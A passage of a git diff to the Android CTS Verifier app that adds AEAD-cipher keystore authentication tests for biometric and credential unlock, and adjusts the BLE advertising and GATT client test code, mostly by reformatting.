+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricAeadCipherTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.biometrics;
+
+import android.security.keystore.KeyProperties;
+
+import com.android.cts.verifier.R;
+
+/**
+ * This is a test to validate update AAD data for AEAD cipher with auth type AUTH_BIOMETRIC_STRONG.
+ */
+public class UserAuthenticationBiometricAeadCipherTest
+ extends AbstractUserAuthenticationAeadCipherTest {
+
+ private static final String TAG = UserAuthenticationBiometricAeadCipherTest.class
+ .getSimpleName();
+
+ @Override
+ String getTag() {
+ return TAG;
+ }
+
+ @Override
+ int getInstructionsResourceId() {
+ return R.string.biometric_test_set_user_authentication_biometric_instructions;
+ }
+
+ @Override
+ ExpectedResults getExpectedResults() {
+ return new ExpectedResults() {
+ @Override
+ boolean shouldCredentialUnlockPerUseKey() {
+ return false;
+ }
+
+ @Override
+ boolean shouldCredentialUnlockTimedKey() {
+ return false;
+ }
+
+ @Override
+ boolean shouldBiometricUnlockPerUseKey() {
+ return true;
+ }
+
+ @Override
+ boolean shouldBiometricUnlockTimedKey() {
+ return true;
+ }
+ };
+ }
+
+ @Override
+ int getKeyAuthenticators() {
+ return KeyProperties.AUTH_BIOMETRIC_STRONG;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricOrCredentialAeadCipherTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricOrCredentialAeadCipherTest.java
new file mode 100644
index 0000000..6c0d735
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricOrCredentialAeadCipherTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.biometrics;
+
+import android.security.keystore.KeyProperties;
+
+import com.android.cts.verifier.R;
+
+/**
+ * This is a test to validate update AAD data for AEAD cipher with auth type
+ * AUTH_DEVICE_CREDENTIAL | AUTH_BIOMETRIC_STRONG.
+ */
+public class UserAuthenticationBiometricOrCredentialAeadCipherTest
+ extends AbstractUserAuthenticationAeadCipherTest {
+
+ private static final String TAG = UserAuthenticationBiometricOrCredentialAeadCipherTest.class
+ .getSimpleName();
+
+ @Override
+ String getTag() {
+ return TAG;
+ }
+
+ @Override
+ int getInstructionsResourceId() {
+ return R.string.biometric_test_set_user_authentication_biometric_or_credential_instructions;
+ }
+
+ @Override
+ ExpectedResults getExpectedResults() {
+ return new ExpectedResults() {
+ @Override
+ boolean shouldCredentialUnlockPerUseKey() {
+ return true;
+ }
+
+ @Override
+ boolean shouldCredentialUnlockTimedKey() {
+ return true;
+ }
+
+ @Override
+ boolean shouldBiometricUnlockPerUseKey() {
+ return true;
+ }
+
+ @Override
+ boolean shouldBiometricUnlockTimedKey() {
+ return true;
+ }
+ };
+ }
+
+ @Override
+ int getKeyAuthenticators() {
+ return KeyProperties.AUTH_DEVICE_CREDENTIAL | KeyProperties.AUTH_BIOMETRIC_STRONG;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationCredentialAeadCipherTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationCredentialAeadCipherTest.java
new file mode 100644
index 0000000..27925d2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationCredentialAeadCipherTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.biometrics;
+
+import android.security.keystore.KeyProperties;
+
+import com.android.cts.verifier.R;
+
+/**
+ * This is a test to validate update AAD data for AEAD cipher with auth type AUTH_DEVICE_CREDENTIAL.
+ */
+public class UserAuthenticationCredentialAeadCipherTest
+ extends AbstractUserAuthenticationAeadCipherTest {
+
+ private static final String TAG = UserAuthenticationCredentialAeadCipherTest.class
+ .getSimpleName();
+
+ @Override
+ String getTag() {
+ return TAG;
+ }
+
+ @Override
+ int getInstructionsResourceId() {
+ return R.string.biometric_test_set_user_authentication_credential_instructions;
+ }
+
+ @Override
+ ExpectedResults getExpectedResults() {
+ return new ExpectedResults() {
+ @Override
+ boolean shouldCredentialUnlockPerUseKey() {
+ return true;
+ }
+
+ @Override
+ boolean shouldCredentialUnlockTimedKey() {
+ return true;
+ }
+
+ @Override
+ boolean shouldBiometricUnlockPerUseKey() {
+ return false;
+ }
+
+ @Override
+ boolean shouldBiometricUnlockTimedKey() {
+ return false;
+ }
+ };
+ }
+
+ @Override
+ int getKeyAuthenticators() {
+ return KeyProperties.AUTH_DEVICE_CREDENTIAL;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
index e5cd1f3..54b8ca8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
@@ -19,11 +19,8 @@
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
-import android.content.res.Resources;
import android.security.keystore.KeyGenParameterSpec;
import android.security.keystore.KeyProperties;
-import android.util.Log;
-import android.widget.Toast;
import java.security.KeyStore;
import java.security.PrivateKey;
@@ -88,6 +85,18 @@
return cipher;
}
+ static Cipher initAeadCipher(String keyName) throws Exception {
+ KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+ keyStore.load(null);
+ SecretKey secretKey = (SecretKey) keyStore.getKey(keyName, null);
+
+ Cipher cipher = Cipher.getInstance(KeyProperties.KEY_ALGORITHM_AES + "/"
+ + KeyProperties.BLOCK_MODE_GCM + "/"
+ + KeyProperties.ENCRYPTION_PADDING_NONE);
+ cipher.init(Cipher.ENCRYPT_MODE, secretKey);
+ return cipher;
+ }
+
static Signature initSignature(String keyName) throws Exception {
KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
index e02b122..164992b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
@@ -117,10 +117,9 @@
@Override
public void run() {
if (!mBluetoothAdapter.isEnabled()) {
- assertTrue(BtAdapterUtils.enableAdapter(mBluetoothAdapter,
- BleAdvertisingSetTestActivity.this));
// If BluetoothAdapter was previously not enabled, we need to get the
// BluetoothLeAdvertiser instance again.
+ mBluetoothAdapter.enable();
mAdvertiser = mBluetoothAdapter.getBluetoothLeAdvertiser();
}
@@ -139,8 +138,7 @@
}
// Disable bluetooth adapter
- assertTrue(BtAdapterUtils.disableAdapter(mBluetoothAdapter,
- BleAdvertisingSetTestActivity.this));
+ mBluetoothAdapter.disable();
BleAdvertisingSetTestActivity.this.runOnUiThread(new Runnable() {
@Override
@@ -185,16 +183,17 @@
private void testEnableAndDisableAdvertising() throws InterruptedException {
mCallback.reset();
- mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ true, /* duration= */ 1,
- /* maxExtendedAdvertisingEvents= */ 1);
+ mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ true, /* duration= */ 0,
+ /* maxExtendedAdvertisingEvents= */ 0);
assertTrue(mCallback.mAdvertisingEnabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingEnabledStatus.get());
- mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ false, /* duration= */ 1,
- /* maxExtendedAdvertisingEvents= */ 1);
+ mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ false, /* duration= */ 0,
+ /* maxExtendedAdvertisingEvents= */ 0);
assertTrue(mCallback.mAdvertisingDisabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingDisabledStatus.get());
+
mAllTestsPassed |= PASS_FLAG_ENABLE_DISABLE;
mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_ENABLE_DISABLE);
}
@@ -224,8 +223,8 @@
private void testSetAdvertisingParameters() throws InterruptedException {
mCallback.reset();
- mCallback.mAdvertisingSet.get().enableAdvertising(false, /* duration= */ 1,
- /* maxExtendedAdvertisingEvents= */1);
+ mCallback.mAdvertisingSet.get().enableAdvertising(false, /* duration= */ 0,
+ /* maxExtendedAdvertisingEvents= */ 0);
assertTrue(mCallback.mAdvertisingDisabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingDisabledStatus.get());
@@ -245,10 +244,21 @@
// The following order of commands follows the diagram of Bluetooth Core Specification,
// Version 5.3, Vol 6, Part D, Figure 3.7: Periodic advertising.
private void testPeriodicAdvertising() throws InterruptedException {
+ if (!mBluetoothAdapter.isLePeriodicAdvertisingSupported()) {
+ mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_PARAMS
+ | PASS_FLAG_SET_PERIODIC_ADVERTISING_DATA
+ | PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED;
+ mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_PARAMS);
+ mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_DATA);
+ mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED);
+ return;
+ }
+
mCallback.reset();
mCallback.mAdvertisingSet.get().setAdvertisingParameters(
new AdvertisingSetParameters.Builder().build());
+
assertTrue(mCallback.mAdvertisingParametersUpdatedLatch.await(TIMEOUT_MS,
TimeUnit.MILLISECONDS));
assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingParametersUpdatedStatus.get());
@@ -262,6 +272,13 @@
mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_PARAMS;
mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_PARAMS);
+ // Enable advertising before periodicAdvertising
+ // If the advertising set is not currently enabled (see the
+ // HCI_LE_Set_Extended_Advertising_Enable command), the periodic
+ // advertising is not started until the advertising set is enabled.
+ mCallback.mAdvertisingSet.get().enableAdvertising(true, /* duration= */ 0,
+ /* maxExtendedAdvertisingEvents= */ 0);
+
mCallback.mAdvertisingSet.get().setPeriodicAdvertisingEnabled(true);
assertTrue(mCallback.mPeriodicAdvertisingEnabledLatch.await(TIMEOUT_MS,
TimeUnit.MILLISECONDS));
@@ -277,11 +294,15 @@
mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_DATA);
mCallback.mAdvertisingSet.get().setPeriodicAdvertisingEnabled(false);
+ // Disable advertising after periodicAdvertising
+ mCallback.mAdvertisingSet.get().enableAdvertising(false, /* duration= */ 0,
+ /* maxExtendedAdvertisingEvents= */ 0);
assertTrue(mCallback.mPeriodicAdvertisingDisabledLatch.await(TIMEOUT_MS,
TimeUnit.MILLISECONDS));
assertEquals(ADVERTISE_SUCCESS, mCallback.mPeriodicAdvertisingDisabledStatus.get());
mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED;
+
mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 746c894..21e2877 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -59,10 +59,12 @@
// (termination signal will not be sent)
// This flag switches to turn Bluetooth off instead of BluetoothGatt#disconnect().
// If true, test will turn Bluetooth off. Otherwise, will call BluetoothGatt#disconnect().
- public static final boolean DISCONNECT_BY_TURN_BT_OFF_ON = (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);
+ public static final boolean DISCONNECT_BY_TURN_BT_OFF_ON =
+ (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);
// for Version 1 test
-// private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_AUTO;
+// private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice
+// .TRANSPORT_AUTO;
// for Version 2 test
private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_LE;
@@ -118,6 +120,8 @@
"com.android.cts.verifier.bluetooth.BLE_READ_REMOTE_RSSI";
public static final String BLE_PHY_READ =
"com.android.cts.verifier.bluetooth.BLE_PHY_READ";
+ public static final String BLE_PHY_READ_SKIPPED =
+ "com.android.cts.verifier.bluetooth.BLE_PHY_READ_SKIPPED";
public static final String BLE_ON_SERVICE_CHANGED =
"com.android.cts.verifier.bluetooth.BLE_ON_SERVICE_CHANGED";
public static final String BLE_CHARACTERISTIC_READ_NOPERMISSION =
@@ -183,17 +187,21 @@
public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
"com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
public static final String BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION =
- "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION";
+ "com.android.cts.verifier.bluetooth"
+ + ".BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION";
public static final String BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION =
- "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION";
+ "com.android.cts.verifier.bluetooth"
+ + ".BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION";
public static final String BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION =
"com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION";
public static final String BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION =
"com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION";
public static final String BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC =
- "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC";
+ "com.android.cts.verifier.bluetooth"
+ + ".BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC";
public static final String BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC =
- "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC";
+ "com.android.cts.verifier.bluetooth"
+ + ".BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC";
public static final String BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR =
"com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR";
public static final String BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR =
@@ -282,7 +290,7 @@
UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
- UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+ UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
private static final UUID UPDATE_DESCRIPTOR_UUID =
UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
@@ -338,7 +346,8 @@
public void onCreate() {
super.onCreate();
- registerReceiver(mBondStatusReceiver, new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
+ registerReceiver(mBondStatusReceiver,
+ new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
mBluetoothAdapter = mBluetoothManager.getAdapter();
@@ -403,7 +412,7 @@
reliableWrite();
}
});
- break;
+ break;
case BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC:
setNotification(INDICATE_CHARACTERISTIC_UUID, true);
break;
@@ -415,15 +424,20 @@
mNotifyCount = 16;
setNotification(UPDATE_CHARACTERISTIC_UUID, true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_1, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_1,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_2, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_2,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_3, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_3,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_4, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_4,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_5, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_5,
+ true);
waitForDisableNotificationCompletion();
setNotification(UPDATE_CHARACTERISTIC_UUID_6, true);
waitForDisableNotificationCompletion();
@@ -435,19 +449,24 @@
waitForDisableNotificationCompletion();
setNotification(UPDATE_CHARACTERISTIC_UUID_10, true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_11, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_11,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_12, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_12,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_13, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_13,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_14, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_14,
+ true);
waitForDisableNotificationCompletion();
- setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_15, true);
+ setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_15,
+ true);
waitForDisableNotificationCompletion();
}
});
- break;
+ break;
case BLE_CLIENT_ACTION_READ_DESCRIPTOR:
readDescriptor(DESCRIPTOR_UUID);
break;
@@ -486,7 +505,8 @@
readDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_READ_UUID);
break;
case BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR:
- writeDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
+ writeDescriptor(CHARACTERISTIC_RESULT_UUID,
+ DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
break;
case BLE_CLIENT_ACTION_READ_PHY:
if (mBluetoothGatt != null) {
@@ -520,18 +540,35 @@
mTaskQueue.quit();
}
- public static BluetoothGatt connectGatt(BluetoothDevice device, Context context, boolean autoConnect, boolean isSecure, BluetoothGattCallback callback) {
+ /**
+ * Connect to GATT Server hosted by this device. Caller acts as GATT client.
+ * The callback is used to deliver results to Caller, such as connection status as well
+ * as any further GATT client operations.
+ * The method returns a BluetoothGatt instance. You can use BluetoothGatt to conduct
+ * GATT client operations.
+ *
+ * @param callback GATT callback handler that will receive asynchronous callbacks.
+ * @param autoConnect Whether to directly connect to the remote device (false) or to
+ * automatically connect as soon as the remote device becomes available (true).
+ * @param isSecure Whether to use transport mode for secure connection (true or false)
+ * @throws IllegalArgumentException if callback is null
+ */
+ public static BluetoothGatt connectGatt(BluetoothDevice device, Context context,
+ boolean autoConnect, boolean isSecure, BluetoothGattCallback callback) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (isSecure) {
if (TRANSPORT_MODE_FOR_SECURE_CONNECTION == BluetoothDevice.TRANSPORT_AUTO) {
- Toast.makeText(context, "connectGatt(transport=AUTO)", Toast.LENGTH_SHORT).show();
+ Toast.makeText(context, "connectGatt(transport=AUTO)",
+ Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
}
- return device.connectGatt(context, autoConnect, callback, TRANSPORT_MODE_FOR_SECURE_CONNECTION);
+ return device.connectGatt(context, autoConnect, callback,
+ TRANSPORT_MODE_FOR_SECURE_CONNECTION);
} else {
Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
- return device.connectGatt(context, autoConnect, callback, BluetoothDevice.TRANSPORT_LE);
+ return device.connectGatt(context, autoConnect, callback,
+ BluetoothDevice.TRANSPORT_LE);
}
} else {
Toast.makeText(context, "connectGatt", Toast.LENGTH_SHORT).show();
@@ -566,7 +603,8 @@
}
}
- private void writeCharacteristic(BluetoothGattCharacteristic characteristic, String writeValue) {
+ private void writeCharacteristic(BluetoothGattCharacteristic characteristic,
+ String writeValue) {
if (characteristic != null) {
// Note: setValue() should not be necessary when using writeCharacteristic(byte[]) which
// is added on Android T, but here we call the method in order to make the test
@@ -580,7 +618,7 @@
private void writeCharacteristic(UUID uid, String writeValue) {
BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
- if (characteristic != null){
+ if (characteristic != null) {
writeCharacteristic(characteristic, writeValue);
}
}
@@ -665,14 +703,15 @@
if (shouldSend) {
// This is to send result to the connected GATT server.
writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
- SERVICE_CHANGED_VALUE);
+ SERVICE_CHANGED_VALUE);
}
}
private void setNotification(BluetoothGattCharacteristic characteristic, boolean enable) {
if (characteristic != null) {
mBluetoothGatt.setCharacteristicNotification(characteristic, enable);
- BluetoothGattDescriptor descriptor = characteristic.getDescriptor(UPDATE_DESCRIPTOR_UUID);
+ BluetoothGattDescriptor descriptor = characteristic.getDescriptor(
+ UPDATE_DESCRIPTOR_UUID);
if (enable) {
if (characteristic.getUuid().equals(INDICATE_CHARACTERISTIC_UUID)) {
descriptor.setValue(BluetoothGattDescriptor.ENABLE_INDICATION_VALUE);
@@ -686,8 +725,9 @@
}
}
- private void setNotification(UUID serviceUid, UUID characteristicUid, boolean enable) {
- BluetoothGattCharacteristic characteristic = getCharacteristic(serviceUid, characteristicUid);
+ private void setNotification(UUID serviceUid, UUID characteristicUid, boolean enable) {
+ BluetoothGattCharacteristic characteristic = getCharacteristic(serviceUid,
+ characteristicUid);
if (characteristic != null) {
setNotification(characteristic, enable);
}
@@ -696,7 +736,7 @@
private void setNotification(UUID uid, boolean enable) {
BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
if (characteristic != null) {
- setNotification(characteristic, enable);
+ setNotification(characteristic, enable);
}
}
@@ -869,6 +909,12 @@
sendBroadcast(intent);
}
+ private void notifyPhyReadSkipped() {
+ showMessage("Phy read not supported. Skipping the test.");
+ Intent intent = new Intent(BLE_PHY_READ_SKIPPED);
+ sendBroadcast(intent);
+ }
+
private void notifyServiceChanged() {
showMessage("Remote service changed");
Intent intent = new Intent(BLE_ON_SERVICE_CHANGED);
@@ -911,6 +957,7 @@
}
return characteristic;
}
+
private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
BluetoothGattCharacteristic characteristic = null;
@@ -991,7 +1038,10 @@
@Override
public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
super.onConnectionStateChange(gatt, status, newState);
- if (DEBUG) Log.d(TAG, "onConnectionStateChange: status= " + status + ", newState= " + newState);
+ if (DEBUG) {
+ Log.d(TAG,
+ "onConnectionStateChange: status= " + status + ", newState= " + newState);
+ }
if (status == BluetoothGatt.GATT_SUCCESS) {
if (newState == BluetoothProfile.STATE_CONNECTED) {
mBleState = newState;
@@ -1034,10 +1084,11 @@
@Override
public void onServicesDiscovered(BluetoothGatt gatt, int status) {
super.onServicesDiscovered(gatt, status);
- if (DEBUG){
+ if (DEBUG) {
Log.d(TAG, "onServiceDiscovered");
}
- if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID) != null)) {
+ if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID)
+ != null)) {
notifyServicesDiscovered();
}
}
@@ -1045,7 +1096,7 @@
@Override
public void onMtuChanged(BluetoothGatt gatt, int mtu, int status) {
super.onMtuChanged(gatt, mtu, status);
- if (DEBUG){
+ if (DEBUG) {
Log.d(TAG, "onMtuChanged");
}
if (status == BluetoothGatt.GATT_SUCCESS) {
@@ -1072,12 +1123,14 @@
}
@Override
- public void onCharacteristicWrite(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, final int status) {
+ public void onCharacteristicWrite(BluetoothGatt gatt,
+ BluetoothGattCharacteristic characteristic, final int status) {
super.onCharacteristicWrite(gatt, characteristic, status);
String value = characteristic.getStringValue(0);
final UUID uid = characteristic.getUuid();
if (DEBUG) {
- Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
+ Log.d(TAG,
+ "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
}
if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
@@ -1106,11 +1159,14 @@
switch (mExecReliableWrite) {
case RELIABLE_WRITE_NONE:
if (status == BluetoothGatt.GATT_SUCCESS) {
- if (characteristic.getUuid().equals(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
+ if (characteristic.getUuid().equals(
+ CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
notifyCharacteristicWriteNeedEncrypted(value);
- } else if (!characteristic.getUuid().equals(CHARACTERISTIC_RESULT_UUID)) {
+ } else if (!characteristic.getUuid().equals(
+ CHARACTERISTIC_RESULT_UUID)) {
// verify
- if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+ if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(),
+ characteristic.getValue())) {
notifyCharacteristicWrite(value);
} else {
notifyError("Written data is not correct");
@@ -1118,7 +1174,8 @@
}
} else if (status == BluetoothGatt.GATT_WRITE_NOT_PERMITTED) {
if (uid.equals(CHARACTERISTIC_NO_WRITE_UUID)) {
- writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.WRITE_NO_PERMISSION);
+ writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+ BleServerService.WRITE_NO_PERMISSION);
notifyCharacteristicWriteNoPermission(value);
} else {
notifyError("Not Permission Write: " + status + " : " + uid);
@@ -1134,7 +1191,8 @@
if (WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE.equals(value)) {
// write next data
mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_WRITE_2ND_DATA;
- writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE);
+ writeCharacteristic(CHARACTERISTIC_UUID,
